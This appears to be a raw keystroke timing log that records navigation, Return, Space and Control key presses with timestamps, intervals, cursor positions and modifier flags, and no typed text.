-17:13:52.7636309:131,837:1700:Right:Right:39:False:False:False -17:13:52.9679797:204,3488:1701:Right:Right:39:False:False:False -17:13:53.4656518:497,6721:1702:Right:Right:39:False:False:False -17:13:53.5841822:118,5304:1703:Right:Right:39:False:False:False -17:13:53.7205007:136,3185:1704:Right:Right:39:False:False:False -17:13:54.6615990:941,0983:1705:Return:Return:13:False:False:False -17:13:56.4945993:1833,0003:2340:Return:Return:13:False:False:False -17:13:59.6839513:3189,352:2340:Return:Return:13:False:False:False -17:15:14.3190319:74635,0806:4662:Space:Space:32:False:False:False -17:15:18.4314374:4112,4055:4809:Return:Return:13:False:False:False -17:15:21.3682631:2936,8257:4920:Return:Return:13:False:False:False -17:15:22.3285891:960,326:4920:Right:Right:39:False:False:False -17:15:22.5831991:254,61:4921:Right:Right:39:False:False:False -17:15:22.7424980:159,2989:4922:Right:Right:39:False:False:False -17:15:23.0163222:273,8242:4923:Right:Right:39:False:False:False -17:15:23.2094424:193,1202:4924:Right:Right:39:False:False:False -17:15:23.3854088:175,9664:4925:Right:Right:39:False:False:False -17:15:23.5871753:201,7665:4926:Right:Right:39:False:False:False -17:15:23.7617984:174,6231:4927:Right:Right:39:False:False:False -17:15:23.9549869:193,1885:4928:Right:Right:39:False:False:False -17:15:24.1451657:190,1788:4929:Right:Right:39:False:False:False -17:15:24.3152864:170,1207:4930:Right:Right:39:False:False:False -17:15:24.4602286:144,8908:4931:Right:Right:39:False:False:False -17:15:24.8485948:388,3662:4932:Right:Right:39:False:False:False -17:15:25.0457050:197,1102:4933:Right:Right:39:False:False:False -17:15:25.2228861:177,1811:4934:Right:Right:39:False:False:False -17:15:25.5806081:357,722:4935:Right:Right:39:False:False:False -17:15:26.0779409:497,3328:4936:Right:Right:39:False:False:False -17:15:26.1107069:32,766:4937:Right:Right:39:False:False:False -17:15:26.1436614:32,9545:4938:Right:Right:39:False:False:False -17:15:26.1741458:30,4844:4939:Right:Right:39:False:False:False -17:15:26.2093422:35,1964:4940:Right:Right:39:False:False:False -17:15:26.2421999:32,8577:4941:Right:Right:39:False:False:False -17:15:26.2750458:32,8459:4942:Right:Right:39:False:False:False -17:15:26.4193542:144,3084:4943:Right:Right:39:False:False:False -17:15:26.9180024:498,6482:4944:Right:Right:39:False:False:False -17:15:26.9462633:28,2609:4945:Right:Right:39:False:False:False -17:15:26.9825576:36,2943:4946:Right:Right:39:False:False:False -17:15:27.0149715:32,4139:4947:Right:Right:39:False:False:False -17:15:27.0482716:33,3001:4948:Right:Right:39:False:False:False -17:15:27.0807585:32,4869:4949:Right:Right:39:False:False:False -17:15:27.1139409:33,1824:4950:Right:Right:39:False:False:False -17:15:27.1468405:32,8996:4951:Right:Right:39:False:False:False -17:15:27.1799578:33,1173:4952:Right:Right:39:False:False:False -17:15:27.2129695:33,0117:4953:Right:Right:39:False:False:False -17:15:27.2454935:32,524:4954:Right:Right:39:False:False:False -17:15:27.2783207:32,8272:4955:Right:Right:39:False:False:False -17:15:27.3110830:32,7623:4956:Right:Right:39:False:False:False -17:15:27.3335252:22,4422:4957:Right:Right:39:False:False:False -17:15:27.3767026:43,1774:4958:Right:Right:39:False:False:False -17:15:27.4013623:24,6597:4959:Right:Right:39:False:False:False -17:15:27.4425333:41,171:4960:Right:Right:39:False:False:False -17:15:27.4754145:32,8812:4961:Right:Right:39:False:False:False -17:15:27.4969110:21,4965:4962:Right:Right:39:False:False:False -17:15:27.5410580:44,147:4963:Right:Right:39:False:False:False -17:15:27.5739552:32,8972:4964:Right:Right:39:False:False:False -17:15:27.5975641:23,6089:4965:Right:Right:39:False:False:False -17:15:27.6396092:42,0451:4966:Right:Right:39:False:False:False -17:15:27.6724146:32,8054:4967:Right:Right:39:False:False:False -17:15:27.7961297:123,7151:4968:Right:Right:39:False:False:False -17:15:27.9801376:184,0079:4969:Right:Right:39:False:False:False -17:15:28.1528826:172,745:4970:Right:Right:39:False:False:False -17:15:28.2616624:108,2651:4971:Right:Right:39:False:False:False -17:15:29.0463710:784,7086:4972:Up:Up:38:False:False:False -17:15:29.3622711:315,9001:4977:Up:Up:38:False:False:False -17:15:29.5386185:176,3474:4982:Up:Up:38:False:False:False -17:15:29.7326274:194,0089:4987:Up:Up:38:False:False:False -17:15:29.8818523:149,2249:4992:Up:Up:38:False:False:False -17:15:30.0610673:179,215:4997:Up:Up:38:False:False:False -17:15:30.2361764:175,1091:5002:Up:Up:38:False:False:False -17:15:30.4272211:191,0447:5007:Up:Up:38:False:False:False -17:15:30.5647084:137,4873:5012:Up:Up:38:False:False:False -17:15:30.7348062:170,0978:5017:Up:Up:38:False:False:False -17:15:30.9051117:170,3055:5022:Up:Up:38:False:False:False -17:15:31.0713607:166,249:5027:Up:Up:38:False:False:False -17:15:31.2476301:176,2694:5032:Up:Up:38:False:False:False -17:15:31.4292737:181,6436:5037:Up:Up:38:False:False:False -17:15:31.6226724:193,3987:5042:Up:Up:38:False:False:False -17:15:31.7908864:168,214:5047:Up:Up:38:False:False:False -17:15:31.9640201:173,1337:5052:Up:Up:38:False:False:False -17:15:37.7294066:5765,3865:5401:Return:Return:13:False:False:False -17:15:59.8729736:22143,567:6113:Return:Return:13:False:False:False -17:16:00.6823838:809,4102:6113:Return:Return:13:False:False:False -17:16:02.7570911:2074,7073:6201:Return:Return:13:False:False:False -17:16:04.1037424:1346,6513:6201:Return:Return:13:False:False:False -17:16:05.6284394:1524,697:6276:Return:Return:13:False:False:False -17:16:06.6219653:992,4652:6276:Right:Right:39:False:False:False -17:16:06.8175708:195,6055:6277:Right:Right:39:False:False:False -17:16:06.9599239:142,3531:6278:Right:Right:39:False:False:False -17:16:07.1061559:146,232:6279:Right:Right:39:False:False:False -17:16:07.2495953:143,4394:6280:Right:Right:39:False:False:False -17:16:07.4168593:167,264:6281:Right:Right:39:False:False:False -17:16:07.5769618:160,1025:6282:Right:Right:39:False:False:False -17:16:07.7342597:157,2979:6283:Right:Right:39:False:False:False -17:16:07.8975861:163,3264:6284:Right:Right:39:False:False:False -17:16:08.0619419:164,3558:6285:Right:Right:39:False:False:False -17:16:08.2250211:163,0792:6286:Right:Right:39:False:False:False -17:16:08.3932606:168,2395:6287:Right:Right:39:False:False:False -17:16:08.5532243:159,9637:6288:Right:Right:39:False:False:False -17:16:08.7333101:180,0858:6289:Right:Right:39:False:False:False -17:16:08.9038408:170,5307:6290:Right:Right:39:False:False:False -17:16:09.0667263:162,8855:6291:Right:Right:39:False:False:False -17:16:09.2338155:167,0892:6292:Right:Right:39:False:False:False -17:16:09.3944162:160,6007:6293:Right:Right:39:False:False:False -17:16:09.5577992:163,383:6294:Right:Right:39:False:False:False -17:16:09.7292495:171,4503:6295:Right:Right:39:False:False:False -17:16:09.9101026:180,8531:6296:Right:Right:39:False:False:False -17:16:10.0882540:178,1514:6297:Right:Right:39:False:False:False -17:16:10.2653125:177,0585:6298:Right:Right:39:False:False:False -17:16:10.4457414:180,4289:6299:Right:Right:39:False:False:False -17:16:10.6029469:157,2055:6300:Right:Right:39:False:False:False -17:16:10.7588654:155,9185:6301:Right:Right:39:False:False:False -17:16:10.9360633:177,1979:6302:Right:Right:39:False:False:False -17:16:11.3117160:375,6527:6303:Return:Return:13:False:False:False -17:16:49.8379179:38526,2019:7590:Return:Return:13:False:False:False -17:16:52.8213359:2975,345:7590:Right:Right:39:False:False:False -17:16:53.0490008:227,6649:7591:Right:Right:39:False:False:False -17:16:53.2751767:226,1759:7592:Right:Right:39:False:False:False -17:16:53.4479792:172,8025:7593:Right:Right:39:False:False:False -17:16:53.6481918:200,2126:7594:Right:Right:39:False:False:False -17:16:53.8713171:223,1253:7595:Right:Right:39:False:False:False -17:16:54.1446469:273,3298:7596:Right:Right:39:False:False:False -17:16:54.4191233:274,4764:7597:Right:Right:39:False:False:False -17:16:54.6462505:227,1272:7598:Right:Right:39:False:False:False -17:16:54.8822405:235,99:7599:Right:Right:39:False:False:False -17:16:55.0700655:187,825:7600:Right:Right:39:False:False:False -17:16:55.2548122:184,7467:7601:Right:Right:39:False:False:False -17:16:55.4711555:216,3433:7602:Right:Right:39:False:False:False -17:16:55.6629079:191,7524:7603:Right:Right:39:False:False:False -17:16:55.8996807:236,7728:7604:Right:Right:39:False:False:False -17:16:56.1067389:207,0582:7605:Right:Right:39:False:False:False -17:16:56.3088319:202,093:7606:Right:Right:39:False:False:False -17:16:56.5308241:221,9922:7607:Right:Right:39:False:False:False -17:16:56.7875548:256,7307:7608:Right:Right:39:False:False:False -17:16:59.5253165:2737,7617:7609:Right:Right:39:False:False:False -17:16:59.8201411:294,8246:7610:Right:Right:39:False:False:False -17:17:00.0458640:225,7229:7611:Right:Right:39:False:False:False -17:17:00.2793324:233,4684:7612:Right:Right:39:False:False:False -17:17:00.5894383:309,1097:7613:Right:Right:39:False:False:False -17:17:00.7880917:198,6534:7614:Right:Right:39:False:False:False -17:17:01.0112293:223,1376:7615:Right:Right:39:False:False:False -17:17:01.2122728:201,0435:7616:Right:Right:39:False:False:False -17:17:01.3792023:166,9295:7617:Right:Right:39:False:False:False -17:17:01.5647334:185,5311:7618:Right:Right:39:False:False:False -17:17:01.7532285:188,4951:7619:Right:Right:39:False:False:False -17:17:01.9355752:182,3467:7620:Right:Right:39:False:False:False -17:17:02.1363017:200,7265:7621:Right:Right:39:False:False:False -17:17:02.4544611:317,1807:7622:Right:Right:39:False:False:False -17:17:02.7619931:307,532:7623:Right:Right:39:False:False:False -17:17:04.6019030:1839,9099:7624:Right:Right:39:False:False:False -17:17:04.8898169:287,9139:7625:Right:Right:39:False:False:False -17:17:05.1180665:227,2489:7626:Right:Right:39:False:False:False -17:17:05.2679259:149,8594:7627:Right:Right:39:False:False:False -17:17:05.4560821:188,1562:7628:Right:Right:39:False:False:False -17:17:05.6759637:219,8816:7629:Right:Right:39:False:False:False -17:17:05.9506850:274,7213:7630:Right:Right:39:False:False:False -17:17:06.1646011:213,9161:7631:Right:Right:39:False:False:False -17:17:06.3914693:226,8682:7632:Right:Right:39:False:False:False -17:17:06.5947603:203,291:7633:Right:Right:39:False:False:False -17:17:06.7980422:203,2819:7634:Right:Right:39:False:False:False -17:17:07.0740462:276,004:7635:Right:Right:39:False:False:False -17:17:07.3340899:260,0437:7636:Right:Right:39:False:False:False -17:17:07.5122108:178,1209:7637:Right:Right:39:False:False:False -17:17:07.7620827:249,8719:7638:Right:Right:39:False:False:False -17:17:07.9670827:205:7639:Right:Right:39:False:False:False -17:17:08.1771446:210,0619:7640:Right:Right:39:False:False:False -17:17:08.4010067:223,8621:7641:Right:Right:39:False:False:False -17:17:08.6001124:199,1057:7642:Right:Right:39:False:False:False -17:17:08.8061378:206,0254:7643:Right:Right:39:False:False:False -17:17:09.0160679:209,9301:7644:Right:Right:39:False:False:False -17:17:09.2389969:222,929:7645:Right:Right:39:False:False:False -17:17:09.4514132:212,4163:7646:Right:Right:39:False:False:False -17:17:09.6647999:213,3867:7647:Right:Right:39:False:False:False -17:17:09.8589290:194,1291:7648:Right:Right:39:False:False:False -17:17:10.0535106:194,5816:7649:Right:Right:39:False:False:False -17:17:10.2631679:209,6573:7650:Right:Right:39:False:False:False -17:17:10.4612810:198,1526:7651:Right:Right:39:False:False:False -17:17:10.6612426:199,9221:7652:Right:Right:39:False:False:False -17:17:10.8513130:190,0704:7653:Right:Right:39:False:False:False -17:17:11.0625521:211,2391:7654:Right:Right:39:False:False:False -17:17:11.2613978:198,8457:7655:Right:Right:39:False:False:False -17:17:11.4603271:198,9293:7656:Right:Right:39:False:False:False -17:17:11.6544000:194,0729:7657:Right:Right:39:False:False:False -17:17:11.8347502:180,3502:7658:Right:Right:39:False:False:False -17:17:12.0316297:196,8795:7659:Right:Right:39:False:False:False -17:17:12.2116021:179,9724:7660:Right:Right:39:False:False:False -17:17:12.3899458:178,3437:7661:Right:Right:39:False:False:False -17:17:13.4694555:1079,5097:7662:Return:Return:13:False:False:False -17:19:16.7715665:123301,5222:1943:Return:Return:13:False:False:False -17:19:30.2494532:13477,8867:1943:Right:Right:39:False:False:False -17:19:30.5149061:265,4529:1944:Right:Right:39:False:False:False -17:19:30.7374683:222,5622:1945:Right:Right:39:False:False:False -17:19:30.9733375:235,8692:1946:Right:Right:39:False:False:False -17:19:31.2160517:242,7142:1947:Right:Right:39:False:False:False -17:19:31.4166058:199,554:1948:Right:Right:39:False:False:False -17:19:32.7220182:1305,4124:1949:Return:Return:13:False:False:False -17:20:27.6677618:50590,477:3981:ControlKey:ControlKey, Control:17:False:False:True -17:20:27.9963601:328,5983:4023:ControlKey:ControlKey, Control:17:False:False:True -17:20:28.4872158:490,8557:4027:ControlKey:ControlKey, Control:17:False:False:True -17:20:28.8568203:369,6045:4030:ControlKey:ControlKey, Control:17:False:False:True -17:25:41.3630825:312506,2622:12722:ControlKey:ControlKey, Control:17:False:False:True -17:26:55.1400337:121054,2999:2460:Return:Return:13:False:False:False -17:27:01.8630808:6723,0471:2460:Right:Right:39:False:False:False -17:27:02.2691096:406,0288:2461:Right:Right:39:False:False:False -17:27:02.6269715:357,8619:2462:Right:Right:39:False:False:False -17:27:02.8542150:227,2435:2463:Right:Right:39:False:False:False -17:27:03.0418537:187,6387:2464:Right:Right:39:False:False:False -17:27:03.5003609:458,5072:2465:Up:Up:38:False:False:False -17:27:03.7915588:291,1979:2470:Up:Up:38:False:False:False -17:27:04.0067331:215,1743:2475:Up:Up:38:False:False:False -17:27:04.1510683:144,3352:2480:Up:Up:38:False:False:False -17:27:04.3295985:178,5302:2485:Up:Up:38:False:False:False -17:27:04.7476018:418,0033:2490:Up:Up:38:False:False:False -17:27:04.8201438:72,542:2495:Up:Up:38:False:False:False -17:27:04.9241495:104,0057:2500:Up:Up:38:False:False:False -17:27:05.0688392:144,6897:2505:Up:Up:38:False:False:False -17:27:05.2557704:186,9312:2510:Up:Up:38:False:False:False -17:27:05.4839097:228,1393:2515:Up:Up:38:False:False:False -17:27:05.4839097:0:2520:Up:Up:38:False:False:False -17:27:05.6177385:133,8288:2525:Up:Up:38:False:False:False -17:27:05.9255622:307,8237:2530:Up:Up:38:False:False:False -17:27:06.0914549:164,8659:2535:Up:Up:38:False:False:False -17:27:06.3144825:223,0276:2540:Up:Up:38:False:False:False -17:27:06.5108876:196,4051:2545:Up:Up:38:False:False:False -17:27:06.7055391:194,6515:2550:Up:Up:38:False:False:False -17:27:06.8668360:161,2969:2555:Up:Up:38:False:False:False -17:27:07.2052331:338,3971:2560:Up:Up:38:False:False:False -17:27:07.5177670:312,5339:2565:Up:Up:38:False:False:False -17:27:07.8094604:291,6934:2570:Up:Up:38:False:False:False -17:27:08.2852218:475,7614:2575:Up:Up:38:False:False:False -17:27:08.8228264:537,6046:2580:Up:Up:38:False:False:False -17:27:09.2546959:431,8695:2585:Up:Up:38:False:False:False -17:27:09.6419774:387,2815:2590:Up:Up:38:False:False:False -17:27:09.9594680:317,4906:2595:Up:Up:38:False:False:False -17:27:10.2940313:334,5633:2600:Up:Up:38:False:False:False -17:27:10.5149057:220,814:2605:Up:Up:38:False:False:False -17:27:10.9968744:481,9687:2610:Up:Up:38:False:False:False -17:27:11.3990389:402,1645:2615:Right:Right:39:False:False:False -17:27:11.7603390:361,3001:2616:Right:Right:39:False:False:False -17:27:11.9116031:151,2641:2617:Right:Right:39:False:False:False -17:27:12.1617528:250,1497:2618:Right:Right:39:False:False:False -17:27:12.3834083:221,6555:2619:Right:Right:39:False:False:False -17:27:12.9010600:517,6517:2620:Right:Right:39:False:False:False -17:27:13.2454614:344,4014:2621:Right:Right:39:False:False:False -17:27:13.4058773:160,4159:2622:Right:Right:39:False:False:False -17:27:13.6876265:281,7492:2623:Right:Right:39:False:False:False -17:27:14.1853980:497,7715:2624:Right:Right:39:False:False:False -17:27:14.3372525:151,8545:2625:Right:Right:39:False:False:False -17:27:14.3372525:0:2626:Right:Right:39:False:False:False -17:27:14.4715355:134,283:2627:Right:Right:39:False:False:False -17:27:14.6132000:141,6645:2628:Right:Right:39:False:False:False -17:27:15.0083639:395,1639:2629:Right:Right:39:False:False:False -17:27:15.3874606:379,0967:2630:Right:Right:39:False:False:False -17:27:15.8577817:470,3211:2631:Right:Right:39:False:False:False -17:27:16.2749728:416,1951:2632:Right:Right:39:False:False:False -17:27:16.5745860:299,6132:2633:Right:Right:39:False:False:False -17:27:16.8411308:266,5448:2634:Right:Right:39:False:False:False -17:27:17.0824541:241,3233:2635:Right:Right:39:False:False:False -17:27:17.5549593:472,5052:2636:Right:Right:39:False:False:False -17:27:17.5871499:32,1906:2637:Right:Right:39:False:False:False -17:27:17.7887887:201,6388:2638:Right:Right:39:False:False:False -17:27:17.9706686:181,8799:2639:Right:Right:39:False:False:False -17:27:17.9761118:5,4432:2640:Right:Right:39:False:False:False -17:27:18.6224958:646,384:2641:Up:Up:38:False:False:False -17:27:18.8406286:218,1328:2646:Up:Up:38:False:False:False -17:27:19.0600766:219,448:2651:Up:Up:38:False:False:False -17:27:19.9634451:903,3685:2656:Return:Return:13:False:False:False -17:31:03.5309407:223567,4956:9912:Space:Space:32:False:False:False -17:31:04.6424520:1111,5113:9926:Space:Space:32:False:False:False -17:31:06.8228181:2180,3661:9926:Right:Right:39:False:False:False -17:31:07.7116783:888,8602:9927:Right:Right:39:False:False:False -17:31:07.9102240:198,5457:9928:Right:Right:39:False:False:False -17:31:08.0900337:179,8097:9929:Right:Right:39:False:False:False -17:31:08.2835225:193,4888:9930:Right:Right:39:False:False:False -17:31:08.4350771:151,5546:9931:Right:Right:39:False:False:False -17:31:08.5971024:162,0253:9932:Right:Right:39:False:False:False -17:31:08.7520055:154,9031:9933:Right:Right:39:False:False:False -17:31:08.9715701:219,5646:9934:Right:Right:39:False:False:False -17:31:09.4297235:458,1534:9935:Up:Up:38:False:False:False -17:31:09.9407377:511,0142:9940:Up:Up:38:False:False:False -17:31:10.2987879:358,0502:9945:Up:Up:38:False:False:False -17:31:10.5571872:258,3993:9950:Up:Up:38:False:False:False -17:31:10.7919661:233,7422:9955:Up:Up:38:False:False:False -17:31:11.0025562:210,5901:9960:Up:Up:38:False:False:False -17:31:11.1763773:173,8211:9965:Up:Up:38:False:False:False -17:31:11.4013890:225,0117:9970:Up:Up:38:False:False:False -17:31:12.3609176:959,5286:9975:Left:Left:37:False:False:False -17:31:12.6079582:246,0432:9974:Left:Left:37:False:False:False -17:31:12.8697424:261,7842:9973:Left:Left:37:False:False:False -17:31:13.1377995:268,0571:9972:Left:Left:37:False:False:False -17:31:13.3426238:204,8243:9971:Left:Left:37:False:False:False -17:31:13.5667622:224,1384:9970:Left:Left:37:False:False:False -17:31:13.7755714:208,8092:9969:Left:Left:37:False:False:False -17:31:14.0375675:261,9961:9968:Left:Left:37:False:False:False -17:31:14.7388408:701,2733:9967:Right:Right:39:False:False:False -17:31:14.9476702:208,8294:9968:Right:Right:39:False:False:False -17:31:15.0813034:133,6332:9969:Right:Right:39:False:False:False -17:31:15.3662386:284,9352:9970:Right:Right:39:False:False:False -17:31:15.5778164:210,5465:9971:Right:Right:39:False:False:False -17:31:15.7717360:192,8935:9972:Right:Right:39:False:False:False -17:31:15.9744263:202,6903:9973:Right:Right:39:False:False:False -17:31:16.1920102:217,5839:9974:Right:Right:39:False:False:False -17:31:16.3779367:185,9265:9975:Right:Right:39:False:False:False -17:31:16.6143944:236,4577:9976:Right:Right:39:False:False:False -17:31:16.7968059:182,4115:9977:Right:Right:39:False:False:False -17:31:17.0945470:297,7411:9978:Right:Right:39:False:False:False -17:31:17.2915019:195,9167:9979:Right:Right:39:False:False:False -17:31:17.4648689:173,367:9980:Right:Right:39:False:False:False -17:31:17.6504827:185,6138:9981:Right:Right:39:False:False:False -17:31:17.8355621:185,0794:9982:Right:Right:39:False:False:False -17:31:18.0367441:201,182:9983:Right:Right:39:False:False:False -17:31:18.2090537:172,3096:9984:Right:Right:39:False:False:False -17:31:18.4027617:193,708:9985:Right:Right:39:False:False:False -17:31:18.5940750:191,3133:9986:Right:Right:39:False:False:False -17:31:18.8165801:222,5051:9987:Right:Right:39:False:False:False -17:31:19.0020636:185,4835:9988:Right:Right:39:False:False:False -17:31:19.1945262:192,4626:9989:Right:Right:39:False:False:False -17:31:19.3787781:184,2519:9990:Right:Right:39:False:False:False -17:31:19.5402671:161,489:9991:Right:Right:39:False:False:False -17:31:19.7197250:179,4579:9992:Right:Right:39:False:False:False -17:31:19.9326331:212,9081:9993:Right:Right:39:False:False:False -17:31:20.1406254:207,9923:9994:Right:Right:39:False:False:False -17:31:20.3159997:175,3743:9995:Right:Right:39:False:False:False -17:31:20.5104399:194,4402:9996:Right:Right:39:False:False:False -17:31:20.7156750:204,3999:9997:Right:Right:39:False:False:False -17:31:20.8902800:174,605:9998:Right:Right:39:False:False:False -17:31:21.0590183:168,7383:9999:Right:Right:39:False:False:False -17:31:21.2654455:206,4272:10000:Right:Right:39:False:False:False -17:31:21.4438051:178,3596:10001:Right:Right:39:False:False:False -17:31:21.6244695:180,6644:10002:Right:Right:39:False:False:False -17:31:21.8155042:191,0347:10003:Right:Right:39:False:False:False -17:31:22.0312722:215,768:10004:Right:Right:39:False:False:False -17:31:22.1943286:163,0564:10005:Right:Right:39:False:False:False -17:31:22.3902333:195,9047:10006:Right:Right:39:False:False:False -17:31:22.5758199:185,5866:10007:Right:Right:39:False:False:False -17:31:22.7663812:190,5613:10008:Right:Right:39:False:False:False -17:31:22.9419785:175,5973:10009:Right:Right:39:False:False:False -17:31:23.1251621:183,1836:10010:Right:Right:39:False:False:False -17:31:23.3340986:208,9365:10011:Right:Right:39:False:False:False -17:31:23.5271557:193,0571:10012:Right:Right:39:False:False:False -17:31:23.9989981:471,8424:10013:Right:Right:39:False:False:False -17:31:24.1961499:197,1518:10014:Right:Right:39:False:False:False -17:31:24.3995322:203,3823:10015:Right:Right:39:False:False:False -17:31:24.5933069:193,7747:10016:Right:Right:39:False:False:False -17:31:24.7792447:185,9378:10017:Right:Right:39:False:False:False -17:31:24.9692951:190,0504:10018:Right:Right:39:False:False:False -17:31:25.3414930:372,1979:10019:Right:Right:39:False:False:False -17:31:25.5577488:215,2086:10020:Right:Right:39:False:False:False -17:31:25.7521580:194,4092:10021:Right:Right:39:False:False:False -17:31:25.9487391:195,578:10022:Right:Right:39:False:False:False -17:31:26.1285071:179,768:10023:Right:Right:39:False:False:False -17:31:26.3352135:206,7064:10024:Right:Right:39:False:False:False -17:31:26.5262051:190,9916:10025:Right:Right:39:False:False:False -17:31:26.7037553:177,5502:10026:Right:Right:39:False:False:False -17:31:26.8425899:138,8346:10027:Right:Right:39:False:False:False -17:31:27.0260373:183,4474:10028:Right:Right:39:False:False:False -17:31:27.2254378:198,4027:10029:Right:Right:39:False:False:False -17:31:27.4146757:189,2379:10030:Right:Right:39:False:False:False -17:31:27.6102342:195,5585:10031:Right:Right:39:False:False:False -17:31:27.7926907:182,4565:10032:Right:Right:39:False:False:False -17:31:27.9799803:187,2896:10033:Right:Right:39:False:False:False -17:31:28.1759464:195,9661:10034:Right:Right:39:False:False:False -17:31:28.6740029:498,0565:10035:Right:Right:39:False:False:False -17:31:28.8068817:132,8788:10036:Right:Right:39:False:False:False -17:31:28.9110799:104,1982:10037:Right:Right:39:False:False:False -17:31:29.0306670:119,5871:10038:Right:Right:39:False:False:False -17:31:29.0348538:4,1868:10039:Right:Right:39:False:False:False -17:31:29.1579875:123,1337:10040:Right:Right:39:False:False:False -17:31:29.9563063:798,3188:10041:Return:Return:13:False:False:False -14:30:10.0927327:164458,8073:3128:ControlKey:ControlKey, Control:17:False:False:True -14:30:10.7525489:659,8162:3140:ControlKey:ControlKey, Control:17:False:False:True -14:30:11.1107748:358,2259:3146:ControlKey:ControlKey, Control:17:False:False:True -14:30:11.5094157:398,6409:3155:ControlKey:ControlKey, Control:17:False:False:True -14:32:04.0930832:112583,6675:5982:Return:Return:13:False:False:False -14:32:11.1912104:7098,1272:5982:Up:Up:38:False:False:False -14:32:11.6067112:415,5008:5987:Up:Up:38:False:False:False -14:32:11.7684586:161,7474:5992:Up:Up:38:False:False:False -14:32:11.9323865:163,9279:5997:Up:Up:38:False:False:False -14:32:12.0798501:146,4341:6002:Up:Up:38:False:False:False -14:32:12.2249935:145,1434:6007:Up:Up:38:False:False:False -14:32:12.3804963:155,5028:6012:Up:Up:38:False:False:False -14:32:12.5196545:139,1582:6017:Up:Up:38:False:False:False -14:32:12.6758072:156,1527:6022:Up:Up:38:False:False:False -14:32:12.8278142:152,007:6027:Up:Up:38:False:False:False -14:32:12.9845346:156,7204:6032:Up:Up:38:False:False:False -14:32:13.5582078:573,6732:6037:Up:Up:38:False:False:False -14:32:14.9880741:1429,8663:6042:Up:Up:38:False:False:False -14:32:15.4356497:447,5756:6047:Up:Up:38:False:False:False -14:32:16.0175578:580,8817:6052:Up:Up:38:False:False:False -14:32:16.4997407:482,1829:6057:Up:Up:38:False:False:False -14:32:16.8711993:371,4586:6062:Up:Up:38:False:False:False -14:32:17.6385175:767,3182:6067:Down:Down:40:False:False:False -14:32:19.5874717:1948,9542:6062:Up:Up:38:False:False:False -14:32:19.8100826:222,6109:6067:Up:Up:38:False:False:False -14:32:20.0842123:274,1297:6072:Up:Up:38:False:False:False -14:33:58.8494886:98765,2763:6077:Left:Left:37:False:False:False -14:33:59.0310089:181,5203:6076:Left:Left:37:False:False:False -14:33:59.1875002:156,4913:6075:Left:Left:37:False:False:False -14:33:59.3164835:128,9833:6074:Left:Left:37:False:False:False -14:33:59.4698675:153,384:6073:Left:Left:37:False:False:False -14:33:59.6083985:138,531:6072:Left:Left:37:False:False:False -14:34:00.1178454:509,4469:6071:Left:Left:37:False:False:False -14:34:00.1926632:74,8178:6070:Left:Left:37:False:False:False -14:34:00.2257482:33,085:6069:Left:Left:37:False:False:False -14:34:00.2869384:61,1902:6068:Left:Left:37:False:False:False -14:34:00.3316682:44,7298:6067:Left:Left:37:False:False:False -14:34:00.3754508:43,7826:6066:Left:Left:37:False:False:False -14:34:00.4187875:43,3367:6065:Left:Left:37:False:False:False -14:34:00.4648568:46,0693:6064:Left:Left:37:False:False:False -14:34:00.5039190:39,0622:6063:Left:Left:37:False:False:False -14:34:00.5460952:42,1762:6062:Left:Left:37:False:False:False -14:34:00.5779228:31,8276:6061:Left:Left:37:False:False:False -14:34:00.9669932:389,0704:6060:Right:Right:39:False:False:False -14:34:01.4664844:499,4912:6061:Right:Right:39:False:False:False -14:34:01.5210361:54,5517:6062:Right:Right:39:False:False:False -14:34:01.5465429:25,5068:6063:Right:Right:39:False:False:False -14:34:01.6038147:57,2718:6064:Right:Right:39:False:False:False -14:34:01.6342480:30,4333:6065:Right:Right:39:False:False:False -14:34:01.6836409:49,3929:6066:Right:Right:39:False:False:False -14:34:02.2348998:551,2589:6067:Left:Left:37:False:False:False -14:34:02.7244717:489,5719:6066:Right:Right:39:False:False:False -14:34:03.2129346:488,4629:6067:Right:Right:39:False:False:False -14:34:03.2618584:48,9238:6068:Right:Right:39:False:False:False -14:34:03.3104517:48,5933:6069:Right:Right:39:False:False:False -14:34:03.3579849:47,5332:6070:Right:Right:39:False:False:False -14:34:03.4265050:68,5201:6071:Right:Right:39:False:False:False -14:34:03.4854338:58,9288:6072:Right:Right:39:False:False:False -14:34:03.6308066:145,3728:6073:Right:Right:39:False:False:False -14:34:03.7788730:148,0664:6074:Right:Right:39:False:False:False -14:34:03.9459802:167,1072:6075:Right:Right:39:False:False:False -14:34:04.5230696:577,0894:6076:Right:Right:39:False:False:False -14:36:41.5249342:157001,8646:6077:Return:Return:13:False:False:False -17:51:43.0704914:207598,3551:3371:ControlKey:ControlKey, Control:17:False:False:True -17:51:43.5823428:509,4605:3383:ControlKey:ControlKey, Control:17:False:False:True -17:52:02.4315470:18843,7177:3928:ControlKey:ControlKey, Control:17:False:False:True -17:53:41.6725754:99241,0284:6888:ControlKey:ControlKey, Control:17:False:False:True -17:53:42.2563395:583,7641:6949:ControlKey:ControlKey, Control:17:False:False:True -17:53:43.2080142:951,6747:6976:ControlKey:ControlKey, Control:17:False:False:True -17:54:54.6037124:71395,6982:9105:Return:Return:13:False:False:False -17:54:56.1291006:1525,3882:9105:Right:Right:39:False:False:False -17:54:56.7882675:658,1293:9106:Up:Up:38:False:False:False -17:54:57.0030005:213,7279:9111:Up:Up:38:False:False:False -17:54:57.2298897:226,8892:9116:Up:Up:38:False:False:False -17:54:57.4132299:182,3139:9121:Up:Up:38:False:False:False -17:54:57.6391415:225,9116:9126:Up:Up:38:False:False:False -17:54:57.8321626:193,0211:9131:Up:Up:38:False:False:False -17:54:58.0428906:210,728:9136:Up:Up:38:False:False:False -17:54:58.2504243:205,5336:9141:Up:Up:38:False:False:False -17:54:58.4666012:216,1769:9146:Up:Up:38:False:False:False -17:54:59.4255807:958,9795:9151:Up:Up:38:False:False:False -17:54:59.6397920:214,2113:9156:Up:Up:38:False:False:False -17:54:59.8384442:198,6522:9161:Up:Up:38:False:False:False -17:55:00.0362629:196,8181:9166:Up:Up:38:False:False:False -17:55:00.2339869:196,7261:9171:Up:Up:38:False:False:False -17:55:00.4459617:211,9748:9176:Up:Up:38:False:False:False -17:55:00.6613267:215,365:9181:Up:Up:38:False:False:False -17:55:00.8603696:198,0444:9186:Up:Up:38:False:False:False -17:55:01.0873244:226,9548:9191:Up:Up:38:False:False:False -17:55:01.3425221:254,1997:9196:Up:Up:38:False:False:False -17:55:01.5767970:234,2749:9201:Up:Up:38:False:False:False -17:55:01.8634506:286,6536:9206:Up:Up:38:False:False:False -17:55:46.3761477:44512,6971:9211:Right:Right:39:False:False:False -17:55:46.6095214:233,3737:9212:Right:Right:39:False:False:False -17:55:46.7917195:181,2014:9213:Right:Right:39:False:False:False -17:55:46.9823486:190,6291:9214:Right:Right:39:False:False:False 